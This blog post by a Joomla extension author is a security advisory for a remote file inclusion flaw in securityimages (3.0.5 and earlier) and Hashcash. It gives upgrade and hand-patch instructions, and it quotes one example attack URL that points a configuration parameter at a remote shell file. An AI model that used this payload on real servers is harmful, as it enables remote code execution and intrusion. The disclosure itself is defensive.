Saturday, February 04, 2012

Demo Joomla! 1.5

Visit the Joomla! 1.5 demo site to see my extensions live running

Follow Me

Follow cedricwalter on Twitter Subscribe via RSS Subscribe via RSS Follow us on Facebook Follow us on Google+

Demo Joomla! 2.5

Visit the Joomla! 2.5 demo site to see my extensions live running

Support

Do not submit a bug report if you need technical support or have questions.

Forums

Post your suggestions ask for help in the community forums

Wiki

Visit the Wiki extensive and up to date documentation at your fingertips.

Contact Me

Missing images/links, any comments, suggestions, need help? Contact me

Download

Skype

Need desperately help?
Skype Me™! But dont abuse of it!
You are here: Home Development Internet www Search Engine Google desktop enterprise edition is out!

Security risk in securityimages

User Rating:  / 0
PoorBest 


The webmaster of janwiersma.com sent me an email today
at 6:12AM , his server was hacked because of a bug in
securityimages. This bug allows a remote atacker to
execute commands via remote forceful include and
execute function on your server
and affect ALL version of securityimages <= 3.0.5

Here are all files which put your server at risk:
client.php, configinsert.php, lang.php, server.php

Example of attack:
http://web/components/com_securityimages/
configinsert.php?mosConfig_absolute_path=http://shell.txt
from http://securityreason.com/exploitalert/892
Secunia has also a report on it: http://secunia.com/product/11186/
In fact I forget to use that line in these files:
defined('_VALID_MOS') or die('Direct Access to this location is not allowed.');
This avoid any requests to access directly this file. 

- upgrade to 3.0.6 (download at Joomla Forge or in my download sections) OR
- patch the faulty files by hand (add defined('_VALID_MOS') or die('Direct Access to this location is not allowed.'); at the beginning of each file)

Please also contact all Your friends which are using securityimages!

And for my other components?

Hashcash 1.2.X is also affected: http://secunia.com/product/11046/  and my patch is avalaible!

- upgrade to 1.2.2  (download at Joomla Forge or in my download sections) OR
- patch the faulty files by hand (add defined('_VALID_MOS') or die('Direct Access to this location is not allowed.'); at the beginning of each file)

JoomlaCloud is NOT affected




YOU ARE ALL URGE TO UPGRADE ASAP!

You might also like:
Nasty Bug in SecurityImages 5.1.2
255 days ago
Nasty Bug in SecurityImages 5.1.2
Thanks to Margus Pala, a security Flaw has been reported and corrected in SecurityImages version 5
HOW to make your own patches for securityimages
913 days ago
HOW to make your own patches for securityimages
Just in case I take too much time to deliver a ready to use download, duration 5 minutes, but you ne
Joomla_1.5.13-Stable-Full_PackageForSecurityImages5.1.x_v01.
923 days ago
Joomla_1.5.13-Stable-Full_PackageForSecurityImages5.1.x_v01.
Only for SecurityImages 5.1.x and Joomla! 1.5.13 Allow login views, login modules, register, lost
Joomla_1.5.12-Stable-Full_PackageForSecurityImages5.1.x_v01.
945 days ago
Joomla_1.5.12-Stable-Full_PackageForSecurityImages5.1.x_v01.
Only for SecurityImages 5.1.x and Joomla! 1.5.12 Allow login views, login modules, register, lost
blog comments powered by Disqus
Parent Category: Extensions
Category: SecurityImages
Created on Tuesday, 01 August 2006 19:58
Last Updated on Thursday, 17 August 2006 21:54
Published Date
Hits: 13960
  • Print

Donations

Thank You for supporting my work

Latest Articles

  • Updating PHP5 to PHP 5.3.9 on Ubuntu 11.10 Oneiric
    Updating PHP5 to PHP...
    Thanks to Ondřej Surý,  maintainer for some Debian packages, you can have the latest PHP5 maintained by Debian ... ...
  • Install Munin Monitoring in Ubuntu 11.10 Oneiric with nginx
    Install Munin Monito...
    Munin is a networked resource monitoring tool that can help analyze resource trends and "what just happened to ki... ...
  • A Swarm of Nano Quad rotors
    A Swarm of Nano Quad...
    The General Robotics, Automation, Sensing and Perception (GRASP) Lab, located at the University of Pennsylvania, is al... ...
  • Search And Replace Within Zip Files with Regular Expressions
    Search And Replace W...
    There is a lot of shareware and freeware (jEdit, Notepad++) to do complex search and replacement in files but none is su... ...
  • Speed up your web pages by embedding images in CSS.
    Speed up your web pa...
    Data URI scheme is a URI scheme that provides a way to include data in line in web pages as if they were external reso... ...

Latest Comments

Popular Posts

  • Media Center with XBMC
    Media Center with XB...
    HowTo transform your xBox into a Media Center with XBMCXboxMediaCenter is a free open source (GPL) multimedia player for...
  • 404
    404
    SORRY - 404 File Not Found Error The page you were looking for appears to have been moved, deleted or does not exis...
  • Dumb as ... a pitbull
    Dumb as ... a pitbul...
    African Porcupine against a bull terrier, the bull terrier was not smart enough to stop, and guess how it now look li...
  • Do it Yourself: change your PS3 optical lens
    Do it Yourself: chan...
    Guide how to replace PS3 Laser Lens           version 1.0 Attent...
  • Add a harddisk led to Your XBOX
    Add a harddisk led t...
    Add a led to your Xbox to see hard disk activity This mod is quite risky, especially if youcan not solder with precis...

Feeds

rockettheme advertisement

dropbox logo

My OSS Projects

Help Us & Leave Feedback!

  • Do you have an excellent article idea you would like to read about here? Share it!
  • Do you have some interesting tips how we could improve our site?
  • Something missing here? Help us make this blog a better place, leave feedback!
We would love to hear from you! Be active! Write us now!

Blogs

Didier Beck Tech Head Brothers

google+ badge